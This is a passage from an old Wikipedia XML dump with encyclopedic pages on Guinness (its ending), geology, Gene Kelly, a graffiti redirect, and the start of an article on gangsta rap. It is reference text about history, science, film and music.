This is because somehow, only the elder generation prefers Guinness Stout. And these senior citizens survived through the tougher days, where education was less important. Illiteracy rate was high, and these people do not know how to pronounce &quot;Guinness Stout&quot; while ordering it. Incidentally, Guinness advertisement posters were always associating a black [[bulldog]] with the stouts. So these people simply say &quot;Black Dog Beer&quot; in Cantonese while ordering it. This has become a household name, at least among the men over the period.

==See also==
*[[List of Irish companies]]
*[[William Sealey Gosset]] (Guinness employee-turned-statistician)
*[[Great Guinness Toast]]

==Further reading==
*Patrick Lynch and John Vaizey - ''Guinness's Brewery in the Irish Economy: 1759-1876'' (1960) Cambridge University Press
*Frederic Mullally - ''The Silver Salver: The Story of the Guinness Family'' (1981) Granada, ISBN 0246112719
*Brian Sibley - ''The Book Of Guinness Advertising'' (1985) Guinness Books, ISBN 0851124003
*Peter Pugh - ''Is Guinness Good for You: The Bid for Distillers – The Inside Story'' (1987) Financial Training Publications, ISBN 1851850740
*Edward Guinness - ''The Guinness Book of Guinness'' (1988) Guinness Books
*Michele Guinness - ''The Guinness Legend: The Changing Fortunes of a Great Family'' (1988) Hodder and Stoughton General Division, ISBN 0340430451
* Jonathan Guinness - ''Requiem for a Family Business'' (1997) Macmillan Publishing, ISBN 0333661915
*Derek Wilson - ''Dark and Light: The Story of the Guinness Family'' (1998) George Weidenfeld &amp; Nicholson, Ltd., ISBN 0297817183
*S.R. Dennison and Oliver MacDonagh - ''Guinness 1886-1939: From Incorporation to the Second World War'' (1998) Cork University Press, ISBN 1859181759
*Jim Davies - ''The Book of Guinness Advertising'' (1998) Guinness Media Inc., ISBN 0851120679
*Al Byrne - ''Guinness Times: My Days in the World’s Most Famous Brewery'' (1999) Town House, ISBN 1860591051
*Michele Guinness - ''The Guinness Spirit: Brewers, Bankers, Ministers and Missionaries'' (1999) Hodder and Stoughton, ISBN 0340721650
*Mark Griffiths - ''Guinness is Guinness: The Colourful Story of a Black and White Brand'' (2004) Cyan Communications, ISBN 0954282949
*Tony Corcoran - ''The Goodness of Guinness: The Brewery, Its People and the City of Dublin'' (2005) Liberties Press, ISBN 0954533577

==References==
# {{note|sink1}}Guinness Bubbles [http://www.chem.ed.ac.uk/guinness/ FAQ] 
# {{note|sink2}}BBC article on discovery of the scientific explanation for the [http://news.bbc.co.uk/2/hi/uk_news/scotland/3516100.stm sinking bubbles]
# {{note|mid}} Test marketed [http://www.irishexaminer.com/pport/web/business/Full_Story/did-sglEJhX3IFlGYsgDQQ5wn3uAIg.asp low alcohol Guinness Stout].
# {{note|Surfer}} Award winning [http://www.amvbbdo.co.uk/tv_video/Guiness_surfer.mov &quot;Surfer&quot;] Advert
#{{note|Clio}} Clio Award [http://www.clioawards.com/press/index.cfm?year=2001&amp;pressid=154 Press Release]

==External Links==
* [http://www.guinness.com Official site]
* Forage, et al., &quot;''[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=4832968.WKU.&amp;OS=PN/4832968&amp;RS=PN/4832968 Beverage package and a method of packaging a beverage containing gas in solution]''&quot;. United States Patent 4,832,968. May 23, 1989.
* [http://www.fluent.com/about/news/pr/pr5.htm Scientific explanation of Guinness bubble circulation]

[[Category:Brands of beer]]
[[Category:Food Companies of Ireland]]
[[Category:Irish breweries]]

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  </page>
  <page>
    <title>Geology</title>
    <id>12207</id>
    <revision>
      <id>41509766</id>
      <timestamp>2006-02-27T21:16:13Z</timestamp>
      <contributor>
        <username>Qyd</username>
        <id>889409</id>
      </contributor>
      <minor />
      <comment>/* Fields or related disciplines */ add petrophysics</comment>
      <text xml:space="preserve">'''Geology''' (from [[Greek language|Greek]] γη- (ge-, &quot;the earth&quot;) and λογος (''logos'', &quot;word&quot;, &quot;reason&quot;)) is the [[science]] and study of the [[Earth]], its composition, structure, physical properties, history and the processes that shape it. It is one of the [[Earth science]]s. [[Geologist]]s have helped establish the [[age of the Earth]] at about 4.6 billion (4.6x10&lt;sup&gt;9&lt;/sup&gt;) years, and have determined that the Earth's [[lithosphere]], which includes the [[Crust (geology)|crust]], is fragmented into [[tectonic plates]] that move over a [[rheid|rheic]] upper [[Mantle (geology)|mantle]] ([[asthenosphere]]) via processes that are collectively referred to as [[plate tectonics]]. Geologists help locate and manage the earth's [[natural resource]]s, such as [[petroleum]] and [[coal]], as well as [[metals]] such as [[iron]], [[copper]], and [[uranium]]. Additional economic interests include [[gemstone]]s and many minerals such as [[asbestos]], [[perlite]], [[mica]], [[phosphates]], [[zeolites]], [[clay]], [[pumice]], [[quartz]], and [[silica]], as well as elements such as [[sulfur]], [[chlorine]], and [[helium]].

[[Astrogeology]] refers to the application of geologic principles to other bodies of the solar system. However, specialised terms such as ''selenology'' (studies of the [[Moon]]), ''areology'' (of [[Mars (planet)|Mars]]), etc., are also in use.

The word &quot;geology&quot; was first used by [[Jean-André Deluc]] in the year [[1778]] and introduced as a fixed term by [[Horace-Bénédict de Saussure]] in the year [[1779]]. An older meaning of the word was first used by [[Richard de Bury]]. He used it to distinguish between earthly and [[Theology|theological]] jurisprudence.

== History ==

In [[China]], the [[polymath]] [[Shen Kua]] (1031 - 1095) formulated a hypothesis for the process of land formation: based on his observation of [[fossil]] [[animal shell|shell]]s in a geological [[stratum]] in a mountain hundreds of miles from the ocean, he inferred that the land was formed by [[erosion]] of the [[mountain]]s and by [[Deposition (geology)|deposition]] of [[silt]].

The work on rocks ''Peri lithon'' by [[Theophrastus]], a student of [[Aristotle]], remained authoritative for millennia. However, its interpretation of fossils was not overturned until after the [[Scientific Revolution]]. It was translated into [[Latin]] and the other languages of Europe such as [[French language|French]]. [[Georg Bauer]] (Georg Agricola), a physician, summarised the knowledge of [[mining]] and [[metallurgy]] in [[1556]].

Georg Agricola ([[1494]]-[[1555]]) wrote the first systematic treatise about [[mining]] and [[smelting]] works, ''De re metallica libri XII'', with an appendix ''Buch von den Lebewesen unter Tage'' (Book of the Creatures Beneath the Earth). He covered subjects like [[wind energy]], [[hydropower|hydrodynamic power]], melting cookers, transport of [[ore]]s, extraction of [[soda]], [[sulfur]] and [[alum]], and administrative issues.  The book was published in [[1556]].

Nicolaus Steno (1638-1686) is credited with the [[law of superposition]], the [[principle of original horizontality]], and the [[principle of lateral continuity]]: three defining principles of [[stratigraphy]]. 

By the [[1700s]] [[Jean-Etienne Guettard]] and [[Nicolas Desmarest]] hiked central France and recorded their observations on [[Geologic map|geological maps]]; Guettard recorded the first observation of the [[Volcano|volcanic]] origins of this part of France. [[James Hutton]] recorded his ''Theory of the Earth'' in the [[1788]] Transactions of the Royal Society of Edinburgh, later called ''[[Uniformitarianism (science)|uniformitarianism]]''.

[[William Smith (geologist)|William Smith]] (1769-1839) drew some of the first geological maps and began the process of ordering [[rock strata]] (layers) by examining the fossils contained in them.

[[James Hutton]] is often viewed as the first modern geologist.  In [[1785]] he presented a paper entitled ''Theory of the Earth'' to the [[Royal Society of Edinburgh]]. In his paper, he explained his theory that the Earth must be much older than had previously been supposed in order to allow enough time for mountains to be eroded and for [[sediment]] to form new rocks at the bottom of the sea, which in turn were raised up to become dry land.

Followers of Hutton were known as ''[[Plutonism|Plutonists]]'' because they believed that some rocks were formed by [[vulcanism]] which is the deposition of lava from [[volcano]]es, as opposed to the ''[[Neptunism|Neptunists]]'', who believed that all rocks had settled out of a large ocean whose level gradually dropped over time.

In [[1811]] [[Georges Cuvier]] and [[Alexandre Brongniart]] published their explanation of the antiquity of the Earth, inspired by Cuvier's discovery of fossil elephant bones in Paris. To prove this, they formulated the principle of [[Stratigraphy|stratigraphic]] succession of the layers of the earth. They were independently anticipated by [[William Smith (geologist)|William Smith]]'s stratigraphic studies on England and Scotland.

[[Sir Charles Lyell]] first published his famous book, ''Principles of Geology'', in [[1830]] and continued to publish new revisions until he died in [[1875]]. He successfully promoted the doctrine of [[Uniformitarianism (science)|uniformitarianism]].  This theory states that slow geological processes have occurred throughout the Earth's history and are still occurring today. In contrast, [[catastrophism]] is the theory that Earth's features formed in single, catastrophic events and remained unchanged thereafter. Though Hutton believed in uniformitarianism, the idea was not widely accepted at the time.

[[Image:Wegener.jpg|thumb|right|Plate tectonics - [[seafloor spreading]] and [[continental drift]] illustrated on relief globe of the [[Field Museum]] ]]
By [[1827]] [[Charles Lyell]]'s ''Principles of Geology'' reiterated Hutton's uniformitarianism, which influenced the thought of [[Charles Darwin]].

19th Century [[geology]] revolved around the question of the [[Age of the Earth|Earth's exact age]]. Estimates varied from a few 100,000 to billions of years. The most significant advance in [[20th century]] geology has been the development of the theory of [[plate tectonics]] in the [[1960s]]. Plate tectonic theory arose out of two separate geological observations: [[seafloor spreading]] and [[continental drift]]. The theory revolutionised the [[Earth sciences]].

The theory of continental drift was proposed by [[Alfred Wegener]] in [[1912]] and by [[Arthur Holmes]], but wasn't broadly accepted until the [[1960s]] when the theory of plate tectonics was developed.

==Important principles of geology==
There are a number of important principles in geology. Many of these involve the ability to provide the relative ages of strata or the manner in which they were formed.

'''The Principle of Intrusive Relationships''' concerns crosscutting [[Intrusion (geology)|intrusion]]s. In geology, when an igneous intrusion cuts across a formation of [[sedimentary rock]], it can be determined that the igneous intrusion is younger than the sedimentary rock. There are a number of different types of intrusions, including stocks, [[laccolith]]s, [[batholith]]s, [[Sill (geology)|sills]] and [[Dike (geology)|dikes]].

'''The Principle of Cross-cutting Relationships''' pertains to the formation of [[Geologic fault|faults]] and the age of the sequences through which they cut. Faults are younger than the rocks they cut; accordingly, if a fault is found that penetrates some formations but not those on top of it, then the formations that were cut are older than the fault, and the ones that are not cut must be younger than the fault. Finding the key bed in these situations may help determine whether the fault is a [[normal fault]] or a [[thrust fault]].

'''The Principle of Inclusions and Components''' states that, with sedimentary rocks, if inclusions (or ''clasts'') are found in a formation, then the inclusions must be older than the formation that contains them. For example, in sedimentary rocks, it is common for gravel from an older formation to be ripped up and included in a newer layer. A similar situation with igneous rocks occurs when [[xenolith]]s are found. These foreign bodies are picked up as [[magma]] or [[lava]] flows, and are incorporated, later to cool in the matrix. As a result, xenoliths are older than the rock which contains them.

'''The Principle of Uniformitarianism''' states that, the geologic processes observed in operation that modify the Earth's crust at present have worked in much the same way over geologic time. A fundamental principle of geology advanced by the 18th century Scottish physician and geologist [[James Hutton]], is that &quot;The Present is the Key to the Past.&quot; In Hutton's words: &quot;the past history of our globe must be explained by what can be seen to be happening now.&quot; 

'''The Principle of Original Horizontality''' states that, the deposition of sediments occurs as essentially horizontal beds. Observation of modern marine and nonmarine sediments in a wide variety of environments supports this generalisation (although cross-bedding is inclined, the overall orientation of cross-bedded units is horizontal). 

'''The Principle of Superposition''' states that, a sedimentary rock layer in a tectonically undisturbed sequence is younger than the one beneath it and older than the one above it. Logically a younger layer cannot slip beneath a layer previously deposited. This principle allows sedimentary layers to be viewed as a form of vertical time line, a partial or complete record of the time elapsed from deposition of the lowest layer to deposition of the highest bed.

'''The Principle of Faunal Succession''' is based on the appearance of fossils in sedimentary rocks. As organisms exist at the same time period throughout the world, their presence or (sometimes) absence may be used to provide a relative age of the formations in which they are found. Based on principles laid out by [[William Smith (geologist)|William Smith]] almost a hundred years before the publication of [[Charles Darwin]]'s [[theory of evolution]], the principles of succession were developed independently of evolutionary thought. The principle becomes quite complex, however, given the uncertainties of fossilisation, the localisation of fossil types due to lateral changes in habitat ([[facies]] change in sedimentary strata), and that not all fossils may be found globally at the same time.

== Fields or related disciplines ==

* [[Earth science]]
* [[Economic geology]]
** [[Mining|Mining geology]]
** [[Petroleum geology]]
* [[Engineering geology]]
* [[Environmental geology]]
* [[Geoarchaeology]]
* [[Geochemistry]]
** [[Biogeochemistry]]
** [[Isotope geochemistry]]
* [[Geochronology]]
* [[Geodetics]]
* [[Geomicrobiology]]
* [[Geomorphology]]
* [[Geophysics]]
* [[Glaciology]]
* [[Historical geology]]
* [[Hydrogeology]] or [[geohydrology]]
* [[Oceanography]]
** [[Marine geology]]
* [[Mineralogy]]
* [[Paleoclimatology]]
* [[Paleontology]] 
** [[Micropaleontology]] 
** [[Palynology]]
* [[Petrology]]
* [[Petrophysics]]
* [[Plate tectonics]] 
* [[Sedimentology]]
* [[Seismology]]
* [[Soil science]]
** [[Pedology (soil study)]]
* [[Speleology]]
* [[Stratigraphy]]
** [[Biostratigraphy]]
* [[Structural geology]]
* [[Volcanology]]

== Regional geology ==

* [[Geology of the Alps]]
* [[Geology of the Appalachians]]
* [[Geology of the Himalaya]]

=== By Nations ===
* [[Geology of Australia]]
** [[Geology of the Australian Capital Territory]]
** [[Geology of Victoria]]
** [[Yilgarn craton|Geology of the Yilgarn Craton]]

*[[Geology of the Falkland Islands]]

* [[Geology of Iran]]

* [[Geology of India]]
** [[Sikkim#Geology|Geology of Sikkim]]

* [[Geology of Japan]]

* [[Geology of Scotland]]

* [[Geology of the United Kingdom]]
** [[Geology of Dorset]]
** [[Geology of Hampshire]]
** [[Geology of Hertfordshire]]
** [[Geology of Shropshire]]

* [[Geology of the United States of America]]
** [[List of California-related topics#Geology of California|Geology of California]]
** [[Geology of Connecticut]]
** [[Geology of the Bryce Canyon area]]''(Utah)''
** [[Geology of the Canyonlands area]] ''(Utah)''
** [[Geology of the Capitol Reef area]] ''(Utah)''
** [[Geology of the Death Valley area]] ''(California)''
** [[Geology of the Grand Canyon area]] ''(Arizona)''
** [[Geology of the Grand Teton area]] ''(Wyoming)''
** [[Geology of the Lassen area]] ''(California)''
** [[Mount Adams (Washington)#Geology|Geology of Mount Adams]] ''(Washington)''
** [[Geology of Mount Shasta]] ''(California)''
** [[Geology of the Yosemite area]]  ''(California)''
** [[Geology of the Zion and Kolob canyons area]] ''(Utah)''
** [[Glacial geology of the Genesee River]] ''(New York, Pennsylvania)''

== Planetary geology ==

* [[Geology of Mercury]]
* [[Geology of Venus]]
* [[Geology of the Moon]]
* [[Mars (planet)#Geology|Geology of Mars]]
* [[Jupiter#Physical Characteristics|Geology of Jupiter]]
* [[Saturn#Physical Characteristics|Geology of Saturn]]
* [[Uranus#Physical Characteristics|Geology of Uranus]]
* [[Neptune#Physical Characteristics|Geology of Neptune]]
* [[Pluto#Physical Characteristics|Geology of Pluto]]

== See also ==

* [[Timeline of geology]]
* [[List of rocks]]
* [[List of minerals]]
* [[List of geology topics]]
* [[List of rock textures]]
* [[Geologist]]
* [[Geologic modeling]]
* [[Geologic timescale]]
* [[Mineral]]
* [[International Union of Geological Sciences]] ([[IUGS]])
* [[List of publications in geology|Important publications in geology]]

== External links ==

* James Hutton's [http://www.mala.bc.ca/~johnstoi/essays/Hutton.htm  ''Theory of the Earth'']
* James Hutton's [http://www.uwmc.uwc.edu/geography/hutton/hutton.htm ''Theory of the Earth &amp; Abstract of the Theory of the Earth'']

[[Category:Geology| Earth_sciences|]]

[[af:Geologie]]
[[ar:جيولوجيا]]
[[an:Cheolochía]]
[[bg:Геология]]
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[[ca:Geologia]]
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[[de:Geologie]]
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[[el:Γεωλογία]]
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[[fr:Géologie]]
[[gl:Xeoloxía]]
[[ko:지질학]]
[[hr:Geologija]]
[[io:Geologio]]
[[id:Geologi]]
[[ia:Geologia]]
[[ie:Geologie]]
[[is:Jarðvísindi]]
[[it:Geologia]]
[[he:גאולוגיה]]
[[hu:Geológia]]
[[ku:Geolojî]]
[[la:Geologia]]
[[lt:Geologija]]
[[nl:Geologie]]
[[ja:地質学]]
[[no:Geologi]]
[[ps:چاپېريال پوهنه]]
[[pl:Geologia]]
[[pt:Geologia]]
[[ro:Geologie]]
[[ru:Геология]]
[[sk:Geológia]]
[[sr:Геологија]]
[[su:Géologi]]
[[fi:Geologia]]
[[sv:Geologi]]
[[tl:Heolohiya]]
[[th:ธรณีวิทยา]]
[[tr:Jeoloji]]
[[uk:Геологія]]
[[vo:Talav]]
[[vi:Địa chất học]]
[[yi:געאלאגיע]]
[[zh:地质学]]</text>
    </revision>
  </page>
  <page>
    <title>Gene Kelly</title>
    <id>12209</id>
    <revision>
      <id>41875251</id>
      <timestamp>2006-03-02T07:51:12Z</timestamp>
      <contributor>
        <username>Lowellian</username>
        <id>29210</id>
      </contributor>
      <comment>+comma</comment>
      <text xml:space="preserve">{{Infobox_Biography 
|subject_name=Eugene Curran &quot;Gene&quot; Kelly 
|image_name=Gene-kelly.jpg 
|image_caption=Gene Kelly 
|dead=dead 
|date_of_birth=[[August 23]], [[1912]] 
|place_of_birth=[[Pittsburgh, Pennsylvania|Pittsburgh]], [[Pennsylvania]], [[United States|USA]] 
|date_of_death=[[February 2]], [[1996]] 
|place_of_death=[[Beverly Hills, California|Beverly Hills]], [[California]], [[United States|USA]]}}

'''Eugene Curran Kelly''' ([[August 23]], [[1912]] – [[February 2]], [[1996]]), better known as '''Gene Kelly''', was born and raised in [[Pittsburgh, Pennsylvania]]. He was an [[United States|American]] [[dancer]], [[actor]], [[singer]], [[film director|director]], [[Film producer|producer]], and [[choreographer]]. Kelly was known for his energetic and athletic dancing style, his good looks and the likeable characters that he played on screen.

Gene was the third son of James Kelly, a phonograph salesman, and Harriet Curran, who were both children of [[Irish people|Irish]] [[Catholic]] immigrants. He attended college at the [[University of Pittsburgh]] where he joined the [[Phi Kappa Theta]] fraternity. Early in his Broadway career, he appeared in Cole Porter's ''Leave It To Me'' as an Eskimo who supports Mary Martin while she sings &quot;My Heart Belongs to Daddy.&quot; In [[1940]] he was given the leading role in [[Rodgers and Hart]]'s ''[[Pal Joey]],'' which brought him to national attention. During this period he also choreographed several hit plays, including the [[1941]] production of ''Best Foot Forward''.

Kelly's first motion picture was ''For Me and My Gal'' ([[1942]]) with [[Judy Garland]]. He went on to make a number of classic musicals, including ''[[An American in Paris (film)|An American in Paris]]'' ([[1951]]) and ''[[Singin' in the Rain (movie)|Singin' in the Rain]]'' ([[1952]]).

His most notable moments on film include:
*Dancing with a group of French schoolchildren to &quot;I Got Rhythm&quot; in ''[[An American in Paris (film)|An American in Paris]]''. 
*The climactic ballet/finale of ''[[An American in Paris (film)|An American in Paris]]''.
*Singing and dancing in the rain in a much-parodied scene from the film ''[[Singin' in the Rain (movie)|Singin' in the Rain]]''; a scene he filmed while sick with a 103-degree (39.4 °C) fever.
*Dancing with a squeaky floorboard and a newspaper in ''[[Summer Stock]]''.
*Dancing on [[roller skate]]s in ''It's Always Fair Weather''.
*Dancing with [[Jerry Mouse]] in ''[[Anchors Aweigh (film)|Anchors Aweigh]]''.
*Dancing with his own reflection in ''[[Cover Girl]]''

He was the first American to choreograph and stage a [[ballet]] in the [[Paris]] Opera.

Kelly was awarded a special [[Academy Award]] &amp;ldquo;in appreciation of his versatility as an actor, singer, director and dancer, and specifically for his brilliant achievements in the art of choreography on film&amp;rdquo; in [[1951]] and reawarded in 1984's Academy Awards due to a fire which burned down his home in the previous year. 

Kelly was awarded the [[Légion d'honneur]] by the [[France|French]] government in [[1960]].
He also received the Life Achievement Award from [[American Film Institute]] in [[1985]]. He was awarded the [[Presidential Medal of Freedom]], America's highest civilian award, from President Clinton in [[1994]], but was too ill to accept it in person.

Kelly died on [[February 2]], [[1996]], in [[Beverly Hills, California]], after suffering two strokes, at the age of 83.

Kelly married three times:
* [[Betsy Blair]] ([[1940]]&amp;ndash;[[1957]]) (one child, Kerry)
* Jeanne Coyne  ([[1960]]&amp;ndash;[[1973]]) (two children, Bridget and Tim)
* Patricia Ward  ([[1990]]&amp;ndash;[[1996]])

The Gene Kelly Awards, given annually to high school musicals in [[Allegheny County, Pennsylvania]], are named in his honor.

In [[2005]], [[Volkswagen]] used Gene Kelly's as part of their Golf GTi promotion. The television clip featured a partly CGI version of Kelly breakdancing to a new version of &quot;[[Singin' in the Rain]]&quot;, remixed by [[Mint Royale]]. The tagline was, &quot;The original, updated.&quot;

==Quotation==
* &quot;If [[Fred Astaire]] is the [[Cary Grant]] of dance, I'm the [[Marlon Brando]].&quot; &amp;mdash; Gene Kelly

==Stage Work==
As Actor:
*''Leave It to Me'' ([[1938]])
*''One for the Money'' ([[1939]])
*''[[The Time of Your Life]]'' ([[1939]])
*''[[The Time of Your Life]]'' ([[1940]]) (return engagement) (also choreographer)
*''[[Pal Joey]]'' ([[1940]])

As Crew Member:
*''Best Foot Forward'' ([[1941]]) (choreographer)
*''[[Flower Drum Song]]'' ([[1958]]) (director)
*''Coquelico'' ([[1979]]) (producer)

==Filmography==
As Actor:
*''[[For Me and My Gal]]'' ([[1942]])
*''[[Pilot #5]]'' ([[1943]])
*''[[Du Barry Was a Lady]]'' ([[1943]])
*''[[Thousands Cheer]]'' ([[1943]])
*''[[The Cross of Lorraine]]'' ([[1943]])
*''[[Cover Girl]]'' ([[1944]])
*''[[Christmas Holiday]]'' ([[1944]])
*''[[Anchors Aweigh (film)]]'' ([[1945]]) (also choreographer)
*''[[Ziegfeld Follies (MGM)|Ziegfeld Follies]]'' ([[1946]])
*''[[Living in a Big Way]]'' ([[1947]])
*''[[The Pirate]]'' ([[1948]]) (also choreographer)
*''[[The Three Musketeers]]'' ([[1948]])
*''[[Words and Music (1948 film)|Words and Music]]'' ([[1948]])
*''[[Take Me Out to the Ball Game]]'' ([[1949]]) (also choreographer)
*''[[On the Town]]'' ([[1949]])
*''[[Black Hand]]'' ([[1950]])
*''[[Summer Stock]]'' ([[1950]])
*''[[An American in Paris]]'' ([[1951]])
*''[[It's a Big Country]]'' ([[1951]])
*''[[Council of Europe]]'' ([[1952]]) (short subject) (narrator)
*''[[Love Is Better Than Ever]]'' ([[1952]]) (Cameo)
*''[[Singin' in the Rain]]'' ([[1952]]) (also choreographer)
*''[[The Devil Makes Three]]'' ([[1952]])
*''[[Brigadoon]]'' ([[1954]]) (also choreographer)
*''[[Crest of the Wave]]'' ([[1954]])
*''[[Deep in My Heart]]'' ([[1954]])
*''1955 Motion Picture Theatre Celebration'' ([[1955]]) (short subject)
*''[[It's Always Fair Weather]]'' ([[1955]]) (also choreographer)
*''[[The Magic Lamp]]'' ([[1956]]) (short subject) (voice)
*''[[Invitation to the Dance]]'' ([[1956]]) (also choreographer)
*''[[The Happy Road]]'' ([[1957]])
*''[[Les Girls]]'' ([[1957]])
*''[[Marjorie Morningstar]]'' ([[1958]])
*''[[Inherit the Wind]]'' ([[1960]])
*''[[Let's Make Love]]'' ([[1960]]) (Cameo)
*''[[What a Way to Go!]]'' ([[1964]]) (also choreographer)
*''[[The Young Girls of Rochefort]]'' ([[1967]])
*''[[40 Carats]]'' ([[1973]])
*''[[Just One More Time]]'' ([[1974]]) (short subject)
*''[[That's Entertainment!]]'' ([[1974]]) (narrator)
*''[[The Lion Roars Again]]'' ([[1975]]) (short subject)
*''[[That's Entertainment!|That's Entertainment, Part II]]'' ([[1976]]) (narrator)
*''[[Viva Knievel!]]'' ([[1977]])
*''[[Xanadu (film)|Xanadu]]'' ([[1980]])
*''Reporters'' ([[1981]]) (documentary)
*''[[That's Entertainment!|That's Dancing!]]'' ([[1985]]) (narrator) (also executive producer)
*''[[The Young Girls Turn 25]]'' ([[1993]]) (documentary)
*''[[That's Entertainment!|That's Entertainment! III]]'' ([[1994]]) (narrator)

As Director:
*''[[On the Town]]'' ([[1949]]) (with [[Stanley Donen]])
*''[[An American in Paris]]'' ([[1951]]) (director of [[Leslie Caron]]'s intro sequences)
*''[[Singin' in the Rain]]'' ([[1952]]) (with Stanley Donen)
*''[[It's Always Fair Weather]]'' ([[1955]]) (with Stanley Donen)
*''[[Invitation to the Dance]]'' ([[1956]]) 
*''[[The Happy Road]]'' ([[1957]]) (also producer)
*''[[The Tunnel of Love]]'' ([[1958]])
*''[[Gigot]]'' ([[1962]])
*''[[A Guide for the Married Man]]'' ([[1967]])
*''[[Hello, Dolly!]]'' ([[1969]])
*''[[The Cheyenne Social Club]]'' ([[1970]]) (also producer)
*''[[That's Entertainment, Part II]]'' ([[1976]]) (director of new sequences)

==Television Work==
*''[[Going My Way (TV series)|Going My Way]]'' ([[1962]]-[[1963]])
*''Gene Kelly: New York, New York'' ([[1966]])
*''[[Jack and the Beanstalk]]'' ([[1967]]) (also director)
*''[[The Funny Side]]'' ([[1971]]) (canceled after 4 months)
*''Gene Kelly: An American in Pasadena'' ([[1978]])
*''[[North and South (novel)|North and South]]'' ([[1985]]) (miniseries)
*''[[Sins (miniseries)|Sins]]'' ([[1986]]) (miniseries)

==External links==
* {{imdb name|id=0000037|name=Gene Kelly}}

[[Category:1912 births|Kelly, Gene]]
[[Category:1996 deaths|Kelly, Gene]]
[[Category:American dancers|Kelly, Gene]]
[[Category:American actors|Kelly, Gene]]
[[Category:American choreographers|Kelly, Gene]]
[[Category:American male singers|Kelly, Gene]]
[[Category:Best Actor Oscar Nominee|Kelly, Gene]] &lt;!-- Anchors Aweigh (movie) --&gt;
[[Category:Hollywood Walk of Fame|Kelly, Gene]]
[[Category:Irish-American actors|Kelly,Gene]]
[[Category:People from Pennsylvania|Kelly, Gene]]
[[Category:People from Pittsburgh|Kelly, Gene]]
[[Category:Roman Catholics|Kelly, Gene]]
[[Category:Tap dancers|Kelly, Gene]]
[[Category:Vaudeville performers|Kelly, Gene]]
[[Category:National Medal of Arts recipients|Kelly, Gene]]
[[Category:American film directors|Kelly, Gene]]
[[Category:Entertainers who died in their 80s|Kelly, Gene]]

[[cy:Gene Kelly]]
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[[he:ג'ין קלי]]
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[[sv:Gene Kelly]]</text>
    </revision>
  </page>
  <page>
    <title>Graffiti art</title>
    <id>12210</id>
    <revision>
      <id>15909912</id>
      <timestamp>2004-04-11T18:23:37Z</timestamp>
      <contributor>
        <username>Kowey</username>
        <id>28474</id>
      </contributor>
      <comment>merged</comment>
      <text xml:space="preserve">#REDIRECT [[Graffiti]]</text>
    </revision>
  </page>
  <page>
    <title>Gangsta rap</title>
    <id>12212</id>
    <revision>
      <id>42138121</id>
      <timestamp>2006-03-04T01:52:27Z</timestamp>
      <contributor>
        <username>Iamthejabberwock</username>
        <id>531901</id>
      </contributor>
      <minor />
      <comment>removed hypen from &quot;hip-hop&quot; - see [[Talk:Hip_hop_music#why_it_should_be_moved|this page]] for details</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}
'''Gangsta rap''' is a [[musical genre|subgenre]] of [[hip hop music]] which involves a lyrical focus on the lifestyles of [[inner-city]] criminals. 

Although [[crime]] and violence in the inner city have always been part of [[hip hop music|hip hop]]'s lyrical canon, before the rise of gangsta rap the subject was not embraced or addressed so blatantly. Gangster rap also signalled an end to the mainstream popularity of socially conscious lyrics put forward by [[golden age hip hop|golden age]] artists such as [[Public Enemy]]. Gangster rap was pioneered by [[Ice-T]], who was influenced by [[Schooly D]]'s crime-raps but still mixed in a lot of social commentary in his lyrics. Crews such as [[Boogie Down Productions|BDP]] and [[N.W.A|NWA]] would go on to set the stage for gangster rap to be the norm. 

With the popularity of [[Dr Dre]]'s ''[[The Chronic]]'' in 1992, gangster rap became the most commercially lucrative subgenre of hip hop. Since then, many gangster rap artists have moved towards a more pop-friendly mainstream sound.

==Controversy over subject matter==
The subject matter inherent in gangsta rap has caused a great deal of controversy, with many observers criticizing the genre for the messages it espouses including [[homophobia]], [[misogyny]], [[racism]], and [[materialism]].  Gangsta rappers generally defend themselves by pointing out that they are describing the reality of inner-city life and claim that when rapping, they are simply playing a character.

Given that the audience for gangsta rap has become predominately white, some commentators (for example, [[Spike Lee]] in his satirical film ''[[Bamboozled]]'') have even criticized it as analogous to [[minstrel show]]s and [[blackface]] performance, in which performers, both black and white, were made up to look African American , acted in a stereotypically uncultured and ignorant manner for the entertainment of white audiences. Some performers, such as [[The Geto Boys]], are even accused of being [[cartoon]]ish and over-the-top (though many artists, particularly the Geto Boys, would be the first to freely admit this).

==Gangsta rap in the [[1980s]]==
[[Los Angeles, California|Los Angeles]]' [[Ice T]] is often credited as the first gangsta rapper due to his influential &quot;Six n' da Mornin'&quot; and other aggressive, gritty recordings (like ''[[Rhyme Pays]]'', 1987); his first rap in 1982 included references to guns, &quot;hoes&quot; and &quot;niggers&quot;, but he remained a low-key rapper until 1986.  Many other artists such as [[Philadelphia]]'s [[Schoolly D]] (''[[The Adventures of Schoolly D]]'', 1987, and the song 'PSK'), [[Kool G Rap]] (&quot;It's a Demo&quot;, &quot;I'm Fly&quot;), [[N.W.A]], [[BDP]]'s first album [[Criminal Minded]], and [[Grandmaster Flash]]'s hit &quot;[[The Message]]&quot; are crucial to the foundations of the genre.  Gangsta rap is usually credited as being an originally [[West Coast rap|West Coast]] phenomenon, due to the influence of Ice-T and N.W.A, though Schoolly D, BDP and Kool G Rap are East Coast rappers.  Other major influences include the pioneering [[hardcore hip hop|hardcore]] work of politically-aware performers like [[Public Enemy]] (''[[It Takes a Nation of Millions to Hold Us Back]]'', 1988), [[Ice Cube]] (''[[AmeriKKKa's Most Wanted]]'', 1990) and [[Boogie Down Productions]] (''[[Criminal Minded]]'', 1987), and the similarly &quot;poetic gangsta&quot; prose and poetry of Ice-T's namesake, [[Iceberg Slim]], and the [[Lightning Rod]] album [[Hustler's Convention]]. 

===Hip hop moves west and gangsta rap appears===
[[Image:N.W.A.StraightOuttaComptonalbumcover.jpg|frame|right|N.W.A's ''Straight Outta Compton'']]

Until the very late 1980s, hip hop had been dominated by the East Coast (essentially [[New York City]], though Philadelphia and [[New Jersey]] also had vital scenes), with West Coast hip hop a curiosity dominated by dance-heavy and critically reviled [[electro hop]] artists like [[Egyptian Lover]] and [[World Class Wreckin' Cru]].  The latter crew included [[Dr. Dre]] before he joined N.W.A.

